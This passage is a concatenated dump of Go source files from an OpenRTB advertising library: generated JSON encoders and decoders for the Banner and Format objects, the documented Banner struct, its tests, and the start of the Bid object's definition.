return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "format": if in.IsNull() { in.Skip() out.Format = nil } else { in.Delim('[') if out.Format == nil { if !in.IsDelim(']') { out.Format = make([]Format, 0, 1) } else { out.Format = []Format{} } } else { out.Format = (out.Format)[:0] } for !in.IsDelim(']') { var v22 Format easyjson48f1e884DecodeGithubComVungleVungoOpenrtb2(in, &v22) out.Format = append(out.Format, v22) in.WantComma() } in.Delim(']') } case "w": out.Width = int(in.Int()) case "h": out.Height = int(in.Int()) case "wmax": if in.IsNull() { in.Skip() out.MaxWidth = nil } else { if out.MaxWidth == nil { out.MaxWidth = new(int) } *out.MaxWidth = int(in.Int()) } case "hmax": if in.IsNull() { in.Skip() out.MaxHeight = nil } else { if out.MaxHeight == nil { out.MaxHeight = new(int) } *out.MaxHeight = int(in.Int()) } case "wmin": if in.IsNull() { in.Skip() out.MinWidth = nil } else { if out.MinWidth == nil { out.MinWidth = new(int) } *out.MinWidth = int(in.Int()) } case "hmin": if in.IsNull() { in.Skip() out.MinHeight = nil } else { if out.MinHeight == nil { out.MinHeight = new(int) } *out.MinHeight = int(in.Int()) } case "btype": if in.IsNull() { in.Skip() out.BlockedTypes = nil } else { in.Delim('[') if out.BlockedTypes == nil { if !in.IsDelim(']') { out.BlockedTypes = make([]int, 0, 8) } else { out.BlockedTypes = []int{} } } else { out.BlockedTypes = (out.BlockedTypes)[:0] } for !in.IsDelim(']') { var v23 int v23 = int(in.Int()) out.BlockedTypes = append(out.BlockedTypes, v23) in.WantComma() } in.Delim(']') } case "battr": if in.IsNull() { in.Skip() out.BlockedAttributes = nil } else { in.Delim('[') if out.BlockedAttributes == nil { if !in.IsDelim(']') { out.BlockedAttributes = make([]int, 0, 8) } else { out.BlockedAttributes = []int{} } } else { out.BlockedAttributes = (out.BlockedAttributes)[:0] } for !in.IsDelim(']') { var v24 int v24 = int(in.Int()) out.BlockedAttributes = append(out.BlockedAttributes, v24) in.WantComma() } in.Delim(']') } case "pos": out.Position = AdPosition(in.Int()) case "mimes": if in.IsNull() { in.Skip() out.MIMETypes = nil } else { in.Delim('[') if out.MIMETypes == nil { if !in.IsDelim(']') { out.MIMETypes = make([]string, 0, 4) } else { out.MIMETypes = []string{} } } else { out.MIMETypes = (out.MIMETypes)[:0] } for !in.IsDelim(']') { var v25 string v25 = string(in.String()) out.MIMETypes = append(out.MIMETypes, v25) in.WantComma() } in.Delim(']') } case "topframe": if in.IsNull() { in.Skip() out.TopFrame = nil } else { if out.TopFrame == nil { out.TopFrame = new(int) } *out.TopFrame = int(in.Int()) } case "expdir": if in.IsNull() { in.Skip() out.ExpandDirections = nil } else { in.Delim('[') if out.ExpandDirections == nil { if !in.IsDelim(']') { out.ExpandDirections = make([]int, 0, 8) } else { out.ExpandDirections = []int{} } } else { out.ExpandDirections = (out.ExpandDirections)[:0] } for !in.IsDelim(']') { var v26 int v26 = int(in.Int()) out.ExpandDirections = append(out.ExpandDirections, v26) in.WantComma() } in.Delim(']') } case "api": if in.IsNull() { in.Skip() out.APIFrameworks = nil } else { in.Delim('[') if out.APIFrameworks == nil { if !in.IsDelim(']') { out.APIFrameworks = make([]int, 0, 8) } else { out.APIFrameworks = []int{} } } else { out.APIFrameworks = (out.APIFrameworks)[:0] } for !in.IsDelim(']') { var v27 int v27 = int(in.Int()) out.APIFrameworks = append(out.APIFrameworks, v27) in.WantComma() } in.Delim(']') } case "id": if in.IsNull() { in.Skip() out.ID = nil } else { if out.ID == nil { out.ID = new(string) } *out.ID = string(in.String()) } case "vcm": out.VCM = CompanionRenderingMode(in.Int()) case "ext": if m, ok := out.Extension.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Extension.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Extension = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson48f1e884EncodeGithubComVungleVungoOpenrtb1(out *jwriter.Writer, in Banner) { out.RawByte('{') first := true _ = first if len(in.Format) != 0 { const prefix string = ",\"format\":" first = false out.RawString(prefix[1:]) { out.RawByte('[') for v28, v29 := range in.Format { if v28 > 0 { out.RawByte(',') } easyjson48f1e884EncodeGithubComVungleVungoOpenrtb2(out, v29) } out.RawByte(']') } } if in.Width != 0 { const prefix string = ",\"w\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Width)) } if in.Height != 0 { const prefix string = ",\"h\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Height)) } if in.MaxWidth != nil { const prefix string = ",\"wmax\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MaxWidth)) } if in.MaxHeight != nil { const prefix string = ",\"hmax\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MaxHeight)) } if in.MinWidth != nil { const prefix string = ",\"wmin\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MinWidth)) } if in.MinHeight != nil { const prefix string = ",\"hmin\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MinHeight)) } if len(in.BlockedTypes) != 0 { const prefix string = ",\"btype\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v30, v31 := range in.BlockedTypes { if v30 > 0 { out.RawByte(',') } out.Int(int(v31)) } out.RawByte(']') } } if len(in.BlockedAttributes) != 0 { const prefix string = ",\"battr\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v32, v33 := range in.BlockedAttributes { if v32 > 0 { out.RawByte(',') } out.Int(int(v33)) } out.RawByte(']') } } if in.Position != 0 { const prefix string = ",\"pos\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Position)) } if len(in.MIMETypes) != 0 { const prefix string = ",\"mimes\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v34, v35 := range in.MIMETypes { if v34 > 0 { out.RawByte(',') } out.String(string(v35)) } out.RawByte(']') } } if in.TopFrame != nil { const prefix string = ",\"topframe\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.TopFrame)) } if len(in.ExpandDirections) != 0 { const prefix string = ",\"expdir\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v36, v37 := range in.ExpandDirections { if v36 > 0 { out.RawByte(',') } out.Int(int(v37)) } out.RawByte(']') } } if len(in.APIFrameworks) != 0 { const prefix string = ",\"api\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v38, v39 := range in.APIFrameworks { if v38 > 0 { out.RawByte(',') } out.Int(int(v39)) } out.RawByte(']') } } if in.ID != nil { const prefix string = ",\"id\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(*in.ID)) } if in.VCM != 0 { const prefix string = ",\"vcm\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.VCM)) } if in.Extension != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Extension.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Extension.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Extension)) } } out.RawByte('}') } func easyjson48f1e884DecodeGithubComVungleVungoOpenrtb2(in *jlexer.Lexer, out *Format) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "w": out.W = uint64(in.Uint64()) case "h": out.H = uint64(in.Uint64()) case "wratio": out.WRatio = uint64(in.Uint64()) case "hratio": out.HRatio = uint64(in.Uint64()) case "wmin": out.WMin = uint64(in.Uint64()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson48f1e884EncodeGithubComVungleVungoOpenrtb2(out *jwriter.Writer, in Format) { out.RawByte('{') first := true _ = first if in.W != 0 { const prefix string = ",\"w\":" first = false out.RawString(prefix[1:]) out.Uint64(uint64(in.W)) } if in.H != 0 { const prefix string = ",\"h\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.H)) } if in.WRatio != 0 { const prefix string = ",\"wratio\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.WRatio)) } if in.HRatio != 0 { const prefix string = ",\"hratio\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.HRatio)) } if in.WMin != 0 { const prefix string = ",\"wmin\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.WMin)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } ``` ## /openrtb/audio_test.go ```go path="/openrtb/audio_test.go" package openrtb_test import ( "reflect" "testing" "github.com/unsteadykis/vungo/openrtb" "github.com/unsteadykis/vungo/openrtb/openrtbtest" ) var AudioModelType = reflect.TypeOf(openrtb.Audio{}) func TestAudioMarshalUnmarshal(t *testing.T) { openrtbtest.VerifyModelAgainstFile(t, "audio.json", AudioModelType) } func TestAudio_Fields(t *testing.T) { if err := openrtbtest.VerifyStructFieldNameWithStandardTextFile( (*openrtb.Audio)(nil), "testdata/audio_std.txt"); err != "" { t.Error(err) } } func TestAudio_Copy(t *testing.T) { audio := openrtb.Audio{} if err := openrtbtest.VerifyDeepCopy( &audio, audio.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } openrtbtest.FillWithNonNilValue(&audio) if err := openrtbtest.VerifyDeepCopy( &audio, audio.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } } ``` ## /openrtb/banner.go ```go path="/openrtb/banner.go" package openrtb import ( "errors" "github.com/unsteadykis/vungo/internal/util" ) // Banner object represents the most general type of impression. // Although the term “banner” may have very specific meaning in other contexts, // here it can be many things including a simple static image, an expandable ad // unit, or even in-banner video (refer to the Video object in Section 3.2.7 for // the more generalized and full featured video ad units). // An array of Banner objects can also appear within the Video to describe // optional companion ads defined in the VAST specification. // // The presence of a Banner as a subordinate of the Imp object indicates that // this impression is offered as a banner type impression. // At the publisher’s discretion, that same impression may also be offered as // video, audio, and/or native by also including as Imp subordinates objects of // those types. // However, any given bid for the impression must conform to one of the offered // types. // See OpenRTB 2.5 Sec 3.2.6. // //go:generate easyjson $GOFILE //easyjson:json type Banner struct { // Attribute: // format // Type: // object array; recommended // Description: // Array of format objects (Section 3.2.10) representing the // banner sizes permitted. If none are specified, then use of the // h and w attributes is highly recommended. Format []Format `json:"format,omitempty"` // Attribute: // w // Type: // integer; recommended // Description: // Exact width in device independent pixels (DIPS); // recommended if no format objects are specified. Width int `json:"w,omitempty"` // Attribute: // h // Type: // integer; recommended // Description: // Exact height in device independent pixels (DIPS); // recommended if no format objects are specified. Height int `json:"h,omitempty"` // Attribute: // wmax // Type: // integer; DEPRECATED // Description: // NOTE: Deprecated in favor of the format array. // Maximum width in device independent pixels (DIPS). MaxWidth *int `json:"wmax,omitempty"` // Attribute: // hmax // Type: // integer; DEPRECATED // Description: // NOTE: Deprecated in favor of the format array. // Maximum height in device independent pixels (DIPS). MaxHeight *int `json:"hmax,omitempty"` // Attribute: // wmin // Type: // integer; DEPRECATED // Description: // NOTE: Deprecated in favor of the format array. // Minimum width in device independent pixels (DIPS). MinWidth *int `json:"wmin,omitempty"` // Attribute: // hmin // Type: // integer; DEPRECATED // Description: // NOTE: Deprecated in favor of the format array. // Minimum height in device independent pixels (DIPS). MinHeight *int `json:"hmin,omitempty"` // Attribute: // btype // Type: // integer array // Description: // Blocked banner ad types. Refer to List 5.2. BlockedTypes []int `json:"btype,omitempty"` // Attribute: // battr // Type: // integer array // Description: // Blocked creative attributes. Refer to List 5.3. BlockedAttributes []int `json:"battr,omitempty"` // Attribute: // pos // Type: // integer // Description: // Ad position on screen. Refer to List 5.4. Position AdPosition `json:"pos,omitempty"` // Attribute: // mimes // Type: // string array // Description: // Content MIME types supported. Popular MIME types may // include “application/x-shockwave-flash”, // “image/jpg”, and “image/gif”. MIMETypes []string `json:"mimes,omitempty"` // Attribute: // topframe // Type: // integer // Description: // Indicates if the banner is in the top frame as opposed to an // iframe, where 0 = no, 1 = yes. TopFrame *int `json:"topframe,omitempty"` // Attribute: // expdir // Type: // integer array // Description: // Directions in which the banner may expand. Refer to List 5.5. ExpandDirections []int `json:"expdir,omitempty"` // Attribute: // api // Type: // integer array // Description: // List of supported API frameworks for this impression. Refer to // List 5.6. If an API is not explicitly listed, it is assumed not to be // supported. APIFrameworks []int `json:"api,omitempty"` // Attribute: // id // Type: // string // Description: // Unique identifier for this banner object. Recommended when // Banner objects are used with a Video object (Section 3.2.7) to // represent an array of companion ads. Values usually start at 1 // and increase with each object; should be unique within an // impression. ID *string `json:"id,omitempty"` // Attribute: // vcm // Type: // integer // Description: // Relevant only for Banner objects used with a Video object // (Section 3.2.7) in an array of companion ads. Indicates the // companion banner rendering mode relative to the associated // video, where 0 = concurrent, 1 = end-card. VCM CompanionRenderingMode `json:"vcm,omitempty"` // Attribute: // ext // Type: // object // Description: // Placeholder for exchange-specific extensions to OpenRTB. Extension interface{} `json:"ext,omitempty"` } // Validate method implements a Validater interface and return a validation error according to the // OpenRTB spec. func (v Banner) Validate() error { if len(v.MIMETypes) < 1 { return errors.New("TODO: but need mime types here") } return nil } // Copy returns a pointer to a copy of the Banner object. func (v *Banner) Copy() *Banner { if v == nil { return nil } vCopy := *v vCopy.ID = util.DeepCopyStr(v.ID) vCopy.MaxHeight = util.DeepCopyInt(v.MaxHeight) vCopy.MaxWidth = util.DeepCopyInt(v.MaxWidth) vCopy.MinHeight = util.DeepCopyInt(v.MinHeight) vCopy.MinWidth = util.DeepCopyInt(v.MinWidth) vCopy.BlockedTypes = util.DeepCopyIntSlice(v.BlockedTypes) vCopy.BlockedAttributes = util.DeepCopyIntSlice(v.BlockedAttributes) vCopy.TopFrame = util.DeepCopyInt(v.TopFrame) vCopy.MIMETypes = util.DeepCopyStrSlice(v.MIMETypes) vCopy.ExpandDirections = util.DeepCopyIntSlice(v.ExpandDirections) vCopy.APIFrameworks = util.DeepCopyIntSlice(v.APIFrameworks) if v.Format != nil { vCopy.Format = make([]Format, len(v.Format)) copy(vCopy.Format, v.Format) } vCopy.Extension = util.DeepCopyCopiable(v.Extension) return &vCopy } ``` ## /openrtb/banner_easyjson.go ```go path="/openrtb/banner_easyjson.go" // Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. package openrtb import ( json "encoding/json" easyjson "github.com/mailru/easyjson" jlexer "github.com/mailru/easyjson/jlexer" jwriter "github.com/mailru/easyjson/jwriter" ) // suppress unused package warning var ( _ *json.RawMessage _ *jlexer.Lexer _ *jwriter.Writer _ easyjson.Marshaler ) func easyjsonC16456caDecodeGithubComVungleVungoOpenrtb(in *jlexer.Lexer, out *Banner) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "format": if in.IsNull() { in.Skip() out.Format = nil } else { in.Delim('[') if out.Format == nil { if !in.IsDelim(']') { out.Format = make([]Format, 0, 1) } else { out.Format = []Format{} } } else { out.Format = (out.Format)[:0] } for !in.IsDelim(']') { var v1 Format easyjsonC16456caDecodeGithubComVungleVungoOpenrtb1(in, &v1) out.Format = append(out.Format, v1) in.WantComma() } in.Delim(']') } case "w": out.Width = int(in.Int()) case "h": out.Height = int(in.Int()) case "wmax": if in.IsNull() { in.Skip() out.MaxWidth = nil } else { if out.MaxWidth == nil { out.MaxWidth = new(int) } *out.MaxWidth = int(in.Int()) } case "hmax": if in.IsNull() { in.Skip() out.MaxHeight = nil } else { if out.MaxHeight == nil { out.MaxHeight = new(int) } *out.MaxHeight = int(in.Int()) } case "wmin": if in.IsNull() { in.Skip() out.MinWidth = nil } else { if out.MinWidth == nil { out.MinWidth = new(int) } *out.MinWidth = int(in.Int()) } case "hmin": if in.IsNull() { in.Skip() out.MinHeight = nil } else { if out.MinHeight == nil { out.MinHeight = new(int) } *out.MinHeight = int(in.Int()) } case "btype": if in.IsNull() { in.Skip() out.BlockedTypes = nil } else { in.Delim('[') if out.BlockedTypes == nil { if !in.IsDelim(']') { out.BlockedTypes = make([]int, 0, 8) } else { out.BlockedTypes = []int{} } } else { out.BlockedTypes = (out.BlockedTypes)[:0] } for !in.IsDelim(']') { var v2 int v2 = int(in.Int()) out.BlockedTypes = append(out.BlockedTypes, v2) in.WantComma() } in.Delim(']') } case "battr": if in.IsNull() { in.Skip() out.BlockedAttributes = nil } else { in.Delim('[') if out.BlockedAttributes == nil { if !in.IsDelim(']') { out.BlockedAttributes = make([]int, 0, 8) } else { out.BlockedAttributes = []int{} } } else { out.BlockedAttributes = (out.BlockedAttributes)[:0] } for !in.IsDelim(']') { var v3 int v3 = int(in.Int()) out.BlockedAttributes = append(out.BlockedAttributes, v3) in.WantComma() } in.Delim(']') } case "pos": out.Position = AdPosition(in.Int()) case "mimes": if in.IsNull() { in.Skip() out.MIMETypes = nil } else { in.Delim('[') if out.MIMETypes == nil { if !in.IsDelim(']') { out.MIMETypes = make([]string, 0, 4) } else { out.MIMETypes = []string{} } } else { out.MIMETypes = (out.MIMETypes)[:0] } for !in.IsDelim(']') { var v4 string v4 = string(in.String()) out.MIMETypes = append(out.MIMETypes, v4) in.WantComma() } in.Delim(']') } case "topframe": if in.IsNull() { in.Skip() out.TopFrame = nil } else { if out.TopFrame == nil { out.TopFrame = new(int) } *out.TopFrame = int(in.Int()) } case "expdir": if in.IsNull() { in.Skip() out.ExpandDirections = nil } else { in.Delim('[') if out.ExpandDirections == nil { if !in.IsDelim(']') { out.ExpandDirections = make([]int, 0, 8) } else { out.ExpandDirections = []int{} } } else { out.ExpandDirections = (out.ExpandDirections)[:0] } for !in.IsDelim(']') { var v5 int v5 = int(in.Int()) out.ExpandDirections = append(out.ExpandDirections, v5) in.WantComma() } in.Delim(']') } case "api": if in.IsNull() { in.Skip() out.APIFrameworks = nil } else { in.Delim('[') if out.APIFrameworks == nil { if !in.IsDelim(']') { out.APIFrameworks = make([]int, 0, 8) } else { out.APIFrameworks = []int{} } } else { out.APIFrameworks = (out.APIFrameworks)[:0] } for !in.IsDelim(']') { var v6 int v6 = int(in.Int()) out.APIFrameworks = append(out.APIFrameworks, v6) in.WantComma() } in.Delim(']') } case "id": if in.IsNull() { in.Skip() out.ID = nil } else { if out.ID == nil { out.ID = new(string) } *out.ID = string(in.String()) } case "vcm": out.VCM = CompanionRenderingMode(in.Int()) case "ext": if m, ok := out.Extension.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Extension.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Extension = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonC16456caEncodeGithubComVungleVungoOpenrtb(out *jwriter.Writer, in Banner) { out.RawByte('{') first := true _ = first if len(in.Format) != 0 { const prefix string = ",\"format\":" first = false out.RawString(prefix[1:]) { out.RawByte('[') for v7, v8 := range in.Format { if v7 > 0 { out.RawByte(',') } easyjsonC16456caEncodeGithubComVungleVungoOpenrtb1(out, v8) } out.RawByte(']') } } if in.Width != 0 { const prefix string = ",\"w\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Width)) } if in.Height != 0 { const prefix string = ",\"h\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Height)) } if in.MaxWidth != nil { const prefix string = ",\"wmax\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MaxWidth)) } if in.MaxHeight != nil { const prefix string = ",\"hmax\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MaxHeight)) } if in.MinWidth != nil { const prefix string = ",\"wmin\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MinWidth)) } if in.MinHeight != nil { const prefix string = ",\"hmin\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.MinHeight)) } if len(in.BlockedTypes) != 0 { const prefix string = ",\"btype\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v9, v10 := range in.BlockedTypes { if v9 > 0 { out.RawByte(',') } out.Int(int(v10)) } out.RawByte(']') } } if len(in.BlockedAttributes) != 0 { const prefix string = ",\"battr\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v11, v12 := range in.BlockedAttributes { if v11 > 0 { out.RawByte(',') } out.Int(int(v12)) } out.RawByte(']') } } if in.Position != 0 { const prefix string = ",\"pos\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Position)) } if len(in.MIMETypes) != 0 { const prefix string = ",\"mimes\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v13, v14 := range in.MIMETypes { if v13 > 0 { out.RawByte(',') } out.String(string(v14)) } out.RawByte(']') } } if in.TopFrame != nil { const prefix string = ",\"topframe\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.TopFrame)) } if len(in.ExpandDirections) != 0 { const prefix string = ",\"expdir\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v15, v16 := range in.ExpandDirections { if v15 > 0 { out.RawByte(',') } out.Int(int(v16)) } out.RawByte(']') } } if len(in.APIFrameworks) != 0 { const prefix string = ",\"api\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v17, v18 := range in.APIFrameworks { if v17 > 0 { out.RawByte(',') } out.Int(int(v18)) } out.RawByte(']') } } if in.ID != nil { const prefix string = ",\"id\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(*in.ID)) } if in.VCM != 0 { const prefix string = ",\"vcm\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.VCM)) } if in.Extension != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Extension.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Extension.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Extension)) } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Banner) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjsonC16456caEncodeGithubComVungleVungoOpenrtb(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Banner) MarshalEasyJSON(w *jwriter.Writer) { easyjsonC16456caEncodeGithubComVungleVungoOpenrtb(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Banner) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjsonC16456caDecodeGithubComVungleVungoOpenrtb(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Banner) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjsonC16456caDecodeGithubComVungleVungoOpenrtb(l, v) } func easyjsonC16456caDecodeGithubComVungleVungoOpenrtb1(in *jlexer.Lexer, out *Format) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "w": out.W = uint64(in.Uint64()) case "h": out.H = uint64(in.Uint64()) case "wratio": out.WRatio = uint64(in.Uint64()) case "hratio": out.HRatio = uint64(in.Uint64()) case "wmin": out.WMin = uint64(in.Uint64()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonC16456caEncodeGithubComVungleVungoOpenrtb1(out *jwriter.Writer, in Format) { out.RawByte('{') first := true _ = first if in.W != 0 { const prefix string = ",\"w\":" first = false out.RawString(prefix[1:]) out.Uint64(uint64(in.W)) } if in.H != 0 { const prefix string = ",\"h\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.H)) } if in.WRatio != 0 { const prefix string = ",\"wratio\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.WRatio)) } if in.HRatio != 0 { const prefix string = ",\"hratio\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.HRatio)) } if in.WMin != 0 { const prefix string = ",\"wmin\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Uint64(uint64(in.WMin)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } ``` ## /openrtb/banner_test.go ```go path="/openrtb/banner_test.go" package openrtb_test import ( "reflect" "testing" "github.com/unsteadykis/vungo/openrtb" "github.com/unsteadykis/vungo/openrtb/openrtbtest" ) var BannerModelType = reflect.TypeOf(openrtb.Banner{}) func TestBannerMarshalUnmarshal(t *testing.T) { openrtbtest.VerifyModelAgainstFile(t, "banner.json", BannerModelType) } func TestBanner_Fields(t *testing.T) { if err := openrtbtest.VerifyStructFieldNameWithStandardTextFile( (*openrtb.Banner)(nil), "testdata/banner_std.txt"); err != "" { t.Error(err) } } func TestBannerCopy(t *testing.T) { banner := openrtb.Banner{} if err := openrtbtest.VerifyDeepCopy( &banner, banner.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } openrtbtest.FillWithNonNilValue(&banner) if err := openrtbtest.VerifyDeepCopy( &banner, banner.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } } ``` ## /openrtb/bid.go ```go path="/openrtb/bid.go" package openrtb import ( "encoding/json" "github.com/unsteadykis/vungo/internal/util" ) // Bid object // A SeatBid object contains one or more Bid objects, each of which relates to a specific impression in the bid request // via the impid attribute and constitutes an offer to buy that impression for a given price. // // For each bid, the nurl attribute contains the win notice URL. // If the bidder wins the impression, the exchange calls this notice URL to inform the bidder of the win and to convey // certain information using substitution macros (see Section 4.4) such as the clearing price. // The win notice return or the adm attribute can be used to serve markup (see Section 4.3). // In either case, the exchange will also apply the aforementioned substitution to any macros found in the markup. // // BEST PRACTICE: The essential function of the win notice is to inform a bidder that they won an auction. // It does not necessarily imply ad delivery, creative viewability, or billability. // Exchanges are highly encouraged to publish to their bidders their event triggers, billing policies, and any other // meaning they attach to the win notice. // Also, please refer to Section 7.2 for additional guidance on expirations. // // BEST PRACTICE: Firing of the billing notice should be server-side and as “close” as possible to where the exchange // books revenue in order to minimize discrepancies between exchange and bidder. // // BEST PRACTICE: For VAST Video, the IAB prescribes that the VAST impression event is the official signal that the // impression is billable. // If the burl attribute is specified, it too should be fired at the same time if the exchange is adhering to this // policy. // However, subtle technical issues may lead to additional discrepancies and bidders are cautioned to avoid this // scenario. // // Several other attributes are used for ad quality checks or enforcing publisher restrictions. // These include the advertiser domain via adomain, a non-cache-busted URL to an image representative of the content of // the campaign via iurl, an ID of the campaign and of the creative within the campaign via cid and crid respectively, // an array of creative attribute via attr, and the dimensions via h and w. // If the bid pertains to a private marketplace deal, the dealid attribute is used to reference that agreement from the // bid request. // See OpenRTB 2.5 Sec 4.2.3 Object: Bid. // //go:generate easyjson $GOFILE //easyjson:json type Bid struct { // Attribute: // id // Type: // string; required // Description: // Bidder generated bid ID to assist with logging/tracking. ID string `json:"id"` // Attribute: // impid // Type: // string; required // Description: // ID of the Imp object in the related bid request. ImpressionID string `json:"impid"` // Attribute: // price // Type: // float; required // Description: // Bid price expressed as CPM although the actual transaction is // for a unit impression only. Note that while the type indicates // float, integer math is highly recommended when handling // currencies (e.g., BigDecimal in Java). Price float64 `json:"price"` // Attribute: // nurl // Type: // string // Description: // Win notice URL called by the exchange if the bid wins (not // necessarily indicative of a delivered, viewed, or billable ad); 